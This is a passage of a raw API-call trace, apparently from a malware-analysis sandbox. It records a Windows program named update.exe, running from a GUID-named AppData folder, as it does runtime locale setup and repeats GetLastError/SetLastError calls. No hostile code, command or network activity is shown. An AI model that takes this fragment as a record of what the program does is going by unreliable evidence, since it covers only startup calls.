!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0112.672] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0112.672] GetLastError () returned 0x0 [0112.672] SetLastError (dwErrCode=0x0) [0112.672] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0112.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ֐∎뮓@Ā") returned 256 [0112.672] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ֐∎뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0112.672] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ֐∎뮓@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0112.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb6\x63\xe0\xc8\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0112.672] GetLastError () returned 0x0 [0112.672] SetLastError (dwErrCode=0x0) [0112.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ֐∎뮓@Ā") returned 256 [0112.672] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ֐∎뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0112.672] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ֐∎뮓@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0112.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb6\x63\xe0\xc8\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0112.673] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48e318, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.673] SetLastError (dwErrCode=0x0) [0112.673] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.674] SetLastError (dwErrCode=0x0) [0112.674] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.675] SetLastError (dwErrCode=0x0) [0112.675] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.676] SetLastError (dwErrCode=0x0) [0112.676] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.677] SetLastError (dwErrCode=0x0) [0112.677] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.678] SetLastError (dwErrCode=0x0) [0112.678] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.679] SetLastError (dwErrCode=0x0) [0112.679] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () returned 0x0 [0112.680] SetLastError (dwErrCode=0x0) [0112.680] GetLastError () 